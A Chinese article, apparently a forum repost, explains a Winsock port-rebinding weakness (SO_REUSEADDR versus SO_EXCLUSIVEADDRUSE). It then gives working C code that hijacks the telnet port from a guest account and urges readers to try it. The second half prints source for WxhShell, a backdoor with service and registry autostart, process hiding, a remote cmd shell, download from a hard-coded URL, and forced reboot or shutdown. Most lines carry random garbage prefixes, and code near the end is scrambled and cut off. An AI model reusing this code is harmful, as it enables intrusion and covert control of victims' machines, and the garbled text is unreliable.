在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BmF>IQ`M? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3A}8? G&3<rT3Ib saddr.sin_family = AF_INET;
Ph{+uI Zs|sPatV< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-XG$ 0 bd*(]S9d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)9Ojvp=#r: 1H
6Wrik 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=I}V PxhE7 G.e\#_RR? 这意味着什么?意味着可以进行如下的攻击:
6e|5qKr pdiZ"pe 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/n7,B} }PL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o9\m?~g!E <!>}t a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
94@!.11 ?.ihWbW_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C$gLi8|m Sd6^%YB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rep"xV&|>o S]g)^f'a65 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xyz86r ^u O_Q,!&*6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k8V0-.UL} }TvAjLIS6 #include
!{lb# #include
j=S"KVp9NF #include
4]KceE #include
b;l%1x9r DWORD WINAPI ClientThread(LPVOID lpParam);
vy?YA- int main()
HI 61rXNF {
`BD`pa7.% WORD wVersionRequested;
T9?_ `h DWORD ret;
0u\@-np WSADATA wsaData;
$7YLU{0 BOOL val;
6^Vf 5W{ SOCKADDR_IN saddr;
Su #1yw> SOCKADDR_IN scaddr;
Hefqzu int err;
Njje g9 f SOCKET s;
cn:VEF:l SOCKET sc;
|-D. int caddsize;
h zE)>f HANDLE mt;
-',Y;0b% DWORD tid;
/]&1 XT? wVersionRequested = MAKEWORD( 2, 2 );
8t!"K_Mkx err = WSAStartup( wVersionRequested, &wsaData );
$@;[K\ if ( err != 0 ) {
B,T.bgp\ printf("error!WSAStartup failed!\n");
v^G5
N)F return -1;
#cb6~AH }
sNVD"M, saddr.sin_family = AF_INET;
.*"IJD9 |\t_I~de //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-X
\vB ^(:Rbsl saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
k$!&3Rh saddr.sin_port = htons(23);
5H5Kt9DoW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dD%m=x {
qc F{Kex" printf("error!socket failed!\n");
>2/zL.O return -1;
dX=^>9hN/ }
[f}1wZ* val = TRUE;
i^l;PvIF //SO_REUSEADDR选项就是可以实现端口重绑定的
<n{9pZ5. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=fPO0Ot; {
i1C' printf("error!setsockopt failed!\n");
w5Xdq_e3 return -1;
?}>tfDu' }
RI=B(0A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\Wk$>?+#@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O{V"'o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
VrK 5a9*^ L z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
we9AB_y {
(
9l|^w[" ret=GetLastError();
nDvWOt printf("error!bind failed!\n");
q8J/tw?%v return -1;
%O${EN }
@[Th{HTc.G listen(s,2);
`g~-5Z~J while(1)
jI%yi-<; {
|Th{*IJ<, caddsize = sizeof(scaddr);
P$bo8* //接受连接请求
Sy_M!`B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vKeK] if(sc!=INVALID_SOCKET)
:lAR;[WFS {
z$NLFJvy_- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u(R`}C?P' if(mt==NULL)
@h]H_ {
]rS+v^@QH printf("Thread Creat Failed!\n");
z,tax`O break;
VWi-) }
&}r932 }
|*b8-a8< CloseHandle(mt);
*K;~V }
OX"`VE closesocket(s);
~VKw%WK WSACleanup();
19S,> return 0;
\3l;PY }
3-05y!vbcE DWORD WINAPI ClientThread(LPVOID lpParam)
[ ,dsVd {
~BC5no SOCKET ss = (SOCKET)lpParam;
]q j%6tz SOCKET sc;
eXYR/j<8 unsigned char buf[4096];
p82qFzq# SOCKADDR_IN saddr;
]O[f#lG long num;
Q7C'O @ DWORD val;
_ AFgx8 DWORD ret;
6Z$T&Ul{ //如果是隐藏端口应用的话,可以在此处加一些判断
3eB2=_V` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
QMIXz[9w saddr.sin_family = AF_INET;
u1uY*p saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
8AH_Fk saddr.sin_port = htons(23);
^^Ius ] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R:E` {
tFGLqR%/ printf("error!socket failed!\n");
mp#5Vc return -1;
+RbCa
c }
lBCM;#P val = 100;
u!Z&c7kPI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T:si?7CR {
Z'EZ PuZ!' ret = GetLastError();
'j.{o return -1;
Z5+0?X0i }
=$m|M
m[a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Z vG& {
-Xj+7}4 ret = GetLastError();
e0 D;]
return -1;
]`MRH[{ }
RGiA>Z:W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&t4j px {
X\ h]N printf("error!socket connect failed!\n");
Y4 i-Pp? closesocket(sc);
03MB, closesocket(ss);
a9"Gg}h\ return -1;
MZ{)`7acR\ }
~d
}- while(1)
XpM#0hm {
$N+azal+y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7c+u+Yet //如果是嗅探内容的话,可以再此处进行内容分析和记录
uy B
?-Y+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)]/!:I4e num = recv(ss,buf,4096,0);
b2Ct^`|M5 if(num>0)
Z!#zr@'k send(sc,buf,num,0);
rtY0? else if(num==0)
bJ9>,,D break;
s,0,w--= num = recv(sc,buf,4096,0);
Chjth" if(num>0)
;'nu9FU*O send(ss,buf,num,0);
H*l8,*M} else if(num==0)
*iYs,4 break;
JeiW
z1t }
u{I)C0 closesocket(ss);
Fm*O&6W\@A closesocket(sc);
%GAEZH,2sG return 0 ;
&!~q#w1W-5 }
\5J/? 7XdLZ4ub XO\P4x:c ==========================================================
p7|~x@q+ Q~uj:A]n< 下边附上一个代码,,WXhSHELL
TC ^EyjD (/c9v8Pr(7 ==========================================================
X1$0'usS AWGeK-^ #include "stdafx.h"
Io|
72W}rg 8j8FQ!M #include <stdio.h>
J}lBKP:-* #include <string.h>
y&B~UeB:q #include <windows.h>
#m|AQr| #include <winsock2.h>
y1f&+y9e #include <winsvc.h>
:rwF5 #include <urlmon.h>
N3i}>Q)B vxK}f*d #pragma comment (lib, "Ws2_32.lib")
7+=fD|Cl #pragma comment (lib, "urlmon.lib")
D@&0 P& eZT923tD #define MAX_USER 100 // 最大客户端连接数
HBeOK #define BUF_SOCK 200 // sock buffer
Bxak[>/ #define KEY_BUFF 255 // 输入 buffer
7zT]\AnO ^#p Su #define REBOOT 0 // 重启
ho;Km #define SHUTDOWN 1 // 关机
MHk\y2`/; }JoCk{<31 #define DEF_PORT 5000 // 监听端口
4)i/B99k 5q}680s9+ #define REG_LEN 16 // 注册表键长度
[@_}BZk #define SVC_LEN 80 // NT服务名长度
yiiYq(\{ %jim] ]<S[ // 从dll定义API
D?;$:D" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u.gnvdU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+QqYf1@F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Gr}Lp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.{*V^[. k7W7S`H
// wxhshell配置信息
la[xbv struct WSCFG {
1|Us"GQ(n int ws_port; // 监听端口
O-@*xwD char ws_passstr[REG_LEN]; // 口令
/MO|q int ws_autoins; // 安装标记, 1=yes 0=no
]]J2#mN:n char ws_regname[REG_LEN]; // 注册表键名
KAT4C 4=, char ws_svcname[REG_LEN]; // 服务名
&+u)
+<&;( char ws_svcdisp[SVC_LEN]; // 服务显示名
%c*azo. char ws_svcdesc[SVC_LEN]; // 服务描述信息
|Qo;=~7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]4ya$%A int ws_downexe; // 下载执行标记, 1=yes 0=no
"}Of f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}1f@>'o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
RHZ5f0b4L 06|+_ };
$z)r(N$ s+8
v7ZJ // default Wxhshell configuration
Ph'*s{ struct WSCFG wscfg={DEF_PORT,
`BG{\3> "xuhuanlingzhe",
<O>1Y09C/ 1,
Fc%@ "Wxhshell",
]L@VpHEj "Wxhshell",
6hv4D`d;o "WxhShell Service",
K3Zc>QL{ "Wrsky Windows CmdShell Service",
Pwn"!pk "Please Input Your Password: ",
XbsEO>_Z'A 1,
'8R5?9" "
http://www.wrsky.com/wxhshell.exe",
M.iR5Uh "Wxhshell.exe"
dlsVE~_G };
2"*7HS &=oW=g 2 // 消息定义模块
i/N4uq}'A< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dq}60 char *msg_ws_prompt="\n\r? for help\n\r#>";
-
|n\
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|r[yMI|VR char *msg_ws_ext="\n\rExit.";
-]\cUQ0 char *msg_ws_end="\n\rQuit.";
]PJb 9$f2 char *msg_ws_boot="\n\rReboot...";
sS/#)/B char *msg_ws_poff="\n\rShutdown...";
J*?BwmD'8 char *msg_ws_down="\n\rSave to ";
{1,]8!HBJ P~$FgAV char *msg_ws_err="\n\rErr!";
}YH@T]O} char *msg_ws_ok="\n\rOK!";
">PpC]Y1 L5=Tj4` char ExeFile[MAX_PATH];
]y= ff6Q int nUser = 0;
;`Eie2y{M HANDLE handles[MAX_USER];
a"uO0LOb int OsIsNt;
b37P[Q3 ij i<+oul SERVICE_STATUS serviceStatus;
H-$ )@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
T|dQY~n~ *T\-iICw // 函数声明
[zmx int Install(void);
d:jD int Uninstall(void);
mVFz[xI int DownloadFile(char *sURL, SOCKET wsh);
4X,fb` int Boot(int flag);
q y"VrR void HideProc(void);
oxT..=- int GetOsVer(void);
04>dxw)8 int Wxhshell(SOCKET wsl);
6) {jHnk)
void TalkWithClient(void *cs);
ma@3BiM int CmdShell(SOCKET sock);
foY=?mbL int StartFromService(void);
Ba==Ri8$ int StartWxhshell(LPSTR lpCmdLine);
RSEo'2 wG6@.;3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.1R:YNx{/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
JRQ{Q"`)
j.UQLi&` // 数据结构和表定义
_hT-5)1r SERVICE_TABLE_ENTRY DispatchTable[] =
Khd" {
pUtd_8 {wscfg.ws_svcname, NTServiceMain},
F)P"UQ!\ {NULL, NULL}
2D|2/ >[ };
U(#)[S, F&?55@b // 自我安装
e45gjjts int Install(void)
6b1f? 0 {
xszGao' char svExeFile[MAX_PATH];
]C.x8(2!f HKEY key;
Exir?G} \ strcpy(svExeFile,ExeFile);
0].x8{~o Fe8JsB- // 如果是win9x系统,修改注册表设为自启动
ZI"L\q=|0# if(!OsIsNt) {
VxD_:USIF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eeIaH
> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m# #( uSh RegCloseKey(key);
u{Jv6K, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u6&<Bv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9 [qEJ$-- RegCloseKey(key);
v=!Ap ; 2L return 0;
\~V
ZY }
]L0GIVIE }
~" \qX+ }
[e1kfw else {
b=:$~N@Y l5sBDiir% // 如果是NT以上系统,安装为系统服务
m)G=4kK52- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|$[WnYP if (schSCManager!=0)
Hx;ij? {
2+KOUd&jS SC_HANDLE schService = CreateService
7U=|>)Q0s (
q^{Z"ifL schSCManager,
QuuR_Ao?c' wscfg.ws_svcname,
/8!s
C D wscfg.ws_svcdisp,
X4<!E# SERVICE_ALL_ACCESS,
J?/.|Y]e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
En@] xvE SERVICE_AUTO_START,
OkSJob SERVICE_ERROR_NORMAL,
NOOP_:( 7H svExeFile,
f.f5f%lO~ NULL,
cG%ttfq\ NULL,
-$pS
{q; NULL,
U3SF'r8 NULL,
y'sy]Q~ NULL
;K[ G]8 );
-w41Bvz0 if (schService!=0)
T';<;6J** {
ucm3'j CloseServiceHandle(schService);
] iKFEd CloseServiceHandle(schSCManager);
gI^);JrTE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jYwv+EXg strcat(svExeFile,wscfg.ws_svcname);
(W~jr-O^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>`rK=?12< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qwAN=3@ RegCloseKey(key);
bS
'a ) return 0;
W":is" }
[BS3y`c }
c"aiZ(aP CloseServiceHandle(schSCManager);
j7;v'eA`;7 }
bH7[6#y$ }
}g WSV y<YVb@O. return 1;
L2ePWctq} }
4-q7o]%5< <YbOO{ // 自我卸载
)c@I|L int Uninstall(void)
9GnNL I{ {
\GtZX!0 HKEY key;
*[*E|by RL>Nl ow if(!OsIsNt) {
I`h9P2~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IY|;}mIF RegDeleteValue(key,wscfg.ws_regname);
4QWDuLu RegCloseKey(key);
]UnZc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SdUtAC2 RegDeleteValue(key,wscfg.ws_regname);
%8H*}@n RegCloseKey(key);
1Giy|;2/ return 0;
OVO0Emv }
8WWRKP1V }
ogv86d }
<[xxCW(2 else {
{+f@7^/i. -tT{h4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<FH3ePz if (schSCManager!=0)
9bjjo;A {
HZ=Dd4! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&0TOJ:RP if (schService!=0)
zMX7 #, {
pTZPOv#?Q if(DeleteService(schService)!=0) {
c=H(*# CloseServiceHandle(schService);
(c(c MC' CloseServiceHandle(schSCManager);
?mY )m
+ return 0;
T3['6% }
xc R CloseServiceHandle(schService);
A<iF37. }
Ig1cf9 : CloseServiceHandle(schSCManager);
=HP_IG_ }
]M{SM`Ya }
mKZ?H$E%% @{.rDz return 1;
N`y!Km
}
AEK * w4 N##T1 Qm) // 从指定url下载文件
$c0SWz int DownloadFile(char *sURL, SOCKET wsh)
H7"I+qE-G {
-!">SY\ HRESULT hr;
^`YSl*: char seps[]= "/";
2U>1-p&dn char *token;
? $pGG char *file;
xpFu$2T6P. char myURL[MAX_PATH];
c@
En4[a' char myFILE[MAX_PATH];
dT,X8 "
qfppJ8L strcpy(myURL,sURL);
fJOU1% token=strtok(myURL,seps);
yt C{,g> while(token!=NULL)
J~ v<Z/gm {
\UJ:PW$7 file=token;
D8h?s token=strtok(NULL,seps);
GfQMdLy\Z }
S3hJL:3c
ceVej' GetCurrentDirectory(MAX_PATH,myFILE);
`;*=2M<c strcat(myFILE, "\\");
*v:+AE strcat(myFILE, file);
3`#sXt9C send(wsh,myFILE,strlen(myFILE),0);
I=f1kr
pR send(wsh,"...",3,0);
2|EHNy! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T>n,@?#K if(hr==S_OK)
$+JaEF`8 return 0;
U@D=.6\B else
0g]ABzTn return 1;
+aP%H
k6[t$|lMy }
t]eB3)FX 6JRee[ // 系统电源模块
IIop"6Ko int Boot(int flag)
28X)s!W' {
~DqNA%Mb HANDLE hToken;
?_\Hv@t; TOKEN_PRIVILEGES tkp;
}}t"^m s Vize0fsD if(OsIsNt) {
DKIDLf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gADt%K2#Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
s.zH.q, tkp.PrivilegeCount = 1;
aeSy,: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w^R5/#F_r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
X:8=jHkz if(flag==REBOOT) {
n{4&('NRFP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
U0jq.]P return 0;
PK3T@Qv89 }
v~ uwQ&AH else {
1%EY!14G+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&lI.N~Ao return 0;
>Cd%tIie* }
zKfb }
A|RAMO@le else {
|C>Yd*E,C if(flag==REBOOT) {
A.WJ#1i}E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Qt>yRt return 0;
X$JKEW;0BP }
[>"qOFCr#: else {
D*D83z OzN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i7 p#%2 return 0;
5^*
d4[&+ }
:
]
Y= }
!\|&E>Gy [FyE{NfiJ% return 1;
D"A`b{z }
vj{h*~ :4Q_\'P // win9x进程隐藏模块
mGL%<4R, void HideProc(void)
d6hWmZVC {
Atfon&^
yRieGf1'SD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"me Jn/ if ( hKernel != NULL )
]4z?sk@ {
[eWB
vAiW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&lGp
/m: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(5G^"Srw FreeLibrary(hKernel);
|L`w4; }
kv(N/G Q3oVl^q return;
jr!x)yd }
Ns1u0$fg vNJ!i\bX // 获取操作系统版本
{mkYW-4Se int GetOsVer(void)
G3?8GTH {
X.T.^}= OSVERSIONINFO winfo;
v5<Ext
rV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
IL>Gi`Y& GetVersionEx(&winfo);
IS'=%qhC` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O'idS`
return 1;
Ko -<4wu else
9IIe: return 0;
)cOm\^,
}
&1B)mj @~a52'\ // 客户端句柄模块
^PWZ1.T int Wxhshell(SOCKET wsl)
&:{|nDT_2 {
&OuyjW4 SOCKET wsh;
a(BC(^1! struct sockaddr_in client;
eKLxNw5 DWORD myID;
;J?!D x uOBpMAJ while(nUser<MAX_USER)
^M?uv{354 {
bJ/~UEZw int nSize=sizeof(client);
d~[>%& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P7@qvg if(wsh==INVALID_SOCKET) return 1;
m0\(a_0V \6@}HFH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1S_KX. if(handles[nUser]==0)
wmT3 > closesocket(wsh);
9prG@ else
&|9?B!,` nUser++;
|/r@z[t }
9$d (`-&9p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AY * S liF$}J return 0;
Gzm[4|nO^ }
=@ON>SmPs !TG"AW // 关闭 socket
orL7y&w(v: void CloseIt(SOCKET wsh)
8I~ H1 {
Kk??} closesocket(wsh);
l sUQ7%f nUser--;
i&?~QQP` ExitThread(0);
oM< &4F }
-4HI9Czts BKJW\gS2 // 客户端请求句柄
T>LtN void TalkWithClient(void *cs)
g=Qj9Z
{
(+Er ,,,5pCi\ SOCKET wsh=(SOCKET)cs;
E%$FX'8& char pwd[SVC_LEN];
.0s/O char cmd[KEY_BUFF];
E7j]"\~ i char chr[1];
V:l; 2rW int i,j;
EcP"GO5 ;Hm\?n)a while (nUser < MAX_USER) {
%=NqxF>> cIq3En if(wscfg.ws_passstr) {
irrQ$N} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W]reQ&<Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EI/_=.d //ZeroMemory(pwd,KEY_BUFF);
9-L.?LG i=0;
1L^\TC while(i<SVC_LEN) {
/~AajLxu3W n1!u
aUC // 设置超时
WXGLo;+>I fd_set FdRead;
w`i3B@w struct timeval TimeOut;
33
N5> } FD_ZERO(&FdRead);
EP{y?+E2 FD_SET(wsh,&FdRead);
o>j3<#? TimeOut.tv_sec=8;
*UEo&B2+ TimeOut.tv_usec=0;
rsiG]o=8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JJ[J'xl@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Dwwh;B /A{znE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A"w
1GBx pwd
=chr[0]; |%TH|?kB
if(chr[0]==0xd || chr[0]==0xa) { Fet>KacTht
pwd=0; {OB\~$TH
break; Y$%Ze]~
} $g#%
i++; j>P>MdZtk
} UJlKw `4
yPuT%H&i
// 如果是非法用户,关闭 socket ?1 ?m4i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?$8OVq.w,
} n802!d+Tn
E+[K?W5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iv3NmkP1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C3WqUf<8`{
6XB9]it6
while(1) { .pG_j]
6(X(f;MEl
ZeroMemory(cmd,KEY_BUFF); B
ljZ&wZW
6?(*:}Q
// 自动支持客户端 telnet标准 CCQ<.iCU
j=0; <C]s\"o-`
while(j<KEY_BUFF) { Y+j|T`d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Q!U;33aG
cmd[j]=chr[0]; >L5[dkg%
if(chr[0]==0xa || chr[0]==0xd) { * UBU?
cmd[j]=0; |Y2u=B
break; i>>_S&!9p
} zJXU>'obe
j++; B-'Xk{
} O`Nzn~),x
mI9~\k&9
// 下载文件 $)z(4Ev
if(strstr(cmd,"http://")) { rS8/_'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Q2` N{f
if(DownloadFile(cmd,wsh)) _Su$oOy(Ea
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jh2D9h
else -=QA{n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U
$e-e/
} qeHb0G
else { ?neXs-'-p
~ex1,J*}t
switch(cmd[0]) { >>F E?@
ST] h NM
// 帮助 QUwSnotgU
case '?': { {!Jw+LPv$$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @=isN'>] O
break; M7BJ$fA0E
} 349W0>eOT
// 安装 UuzT*Y>
case 'i': { Yfs60f
if(Install()) yM=%a3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yiWBIJ2Wu9
else QI.{M$,m~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >5'C<jc C
break; 7GB>m}7
} `og 3P:y
// 卸载 n&pi
case 'r': { V80g+)|
if(Uninstall()) ofC=S$wX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 294
0M4
else PB(mUD2"r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,W'`rCxJ
break; {D={>0
} Oc}4`?oy<O
// 显示 wxhshell 所在路径 jhr:QS/9
case 'p': { &$:1rA_v
char svExeFile[MAX_PATH]; h;u8{t"
strcpy(svExeFile,"\n\r"); mG*[5?=r
strcat(svExeFile,ExeFile); x_GD
send(wsh,svExeFile,strlen(svExeFile),0); D
C{l.a.
break; fzT|{vG8
} Z@4BTA
// 重启 g\[?U9qN
case 'b': { z/dpnGX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y@)/iwq
if(Boot(REBOOT)) ]|KOc& y:I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4^/MDM@
else { {ss^L
closesocket(wsh); ,UNCBnv1
ExitThread(0); pN|BtrN{
} Lq:
!?)I
break; GTgG0Ifeh
} &Azfpv
// 关机 SM;UNIRVE
case 'd': { %Bn"/0,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OMgFp |^
if(Boot(SHUTDOWN)) F6^Xi"R[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9f1,E98w_
else { L?:.8k`d
closesocket(wsh); j
N":9+F
ExitThread(0); oMey^]!
} }rK9M$2]u
break; 36iDiT_
} QfPsF@+-`7
// 获取shell .S4c<pMap
case 's': { YytO*^e}}
CmdShell(wsh); O\0]o!
closesocket(wsh); lqdil l\
ExitThread(0); s9^r[l@W0U
break; Dfz3\|LJ
} V&e9?5@
// 退出 f0Wbc\L[
case 'x': { P?WS=w*O0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wN}@%D-[v
CloseIt(wsh); P)D2PVD
break; B L^?1x
} _TLB1T^/4
// 离开 'tyblj C
case 'q': { ' 5tk0A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vd%%lv{v
closesocket(wsh); qK=uSLo\+
WSACleanup(); $F&m('aB8
exit(1); <?8aM7W7
break; ;YGCsLT<xt
} P6G&3yPt
} >G#SfE$0
} +wPXDN#R
,ICn]Pdz@
// 提示信息 yq7gBkS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A [c1E[
} U=ek_FO
} PPpq"c
,y>Sq +
return; Xg4iH5!E
} F x4s)(
G>@KX
// shell模块句柄 arWP]%E0W
int CmdShell(SOCKET sock) NP#6'eH\
{ &hnI0m=X
STARTUPINFO si; a*kvU "]
ZeroMemory(&si,sizeof(si)); vw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y]U]b G{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z~S%|{&Br
PROCESS_INFORMATION ProcessInfo; ](@HPAG]
char cmdline[]="cmd"; K`vc&uf
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |^09ny|
return 0; [C-4*qOaa2
} j0wpaIp
V$?@
z>7
// 自身启动模式 QKB*N)%6
int StartFromService(void) u5Tu~
{ Y W9+.Dc`
typedef struct *DUP$@}k
{ ~NV 8avZ
DWORD ExitStatus; V zTHW5B
DWORD PebBaseAddress; G(;hJ'LT
DWORD AffinityMask; l^k/Y
]
DWORD BasePriority; a #`Y(R'
ULONG UniqueProcessId; `k;MGs)&
ULONG InheritedFromUniqueProcessId; 6"djX47j
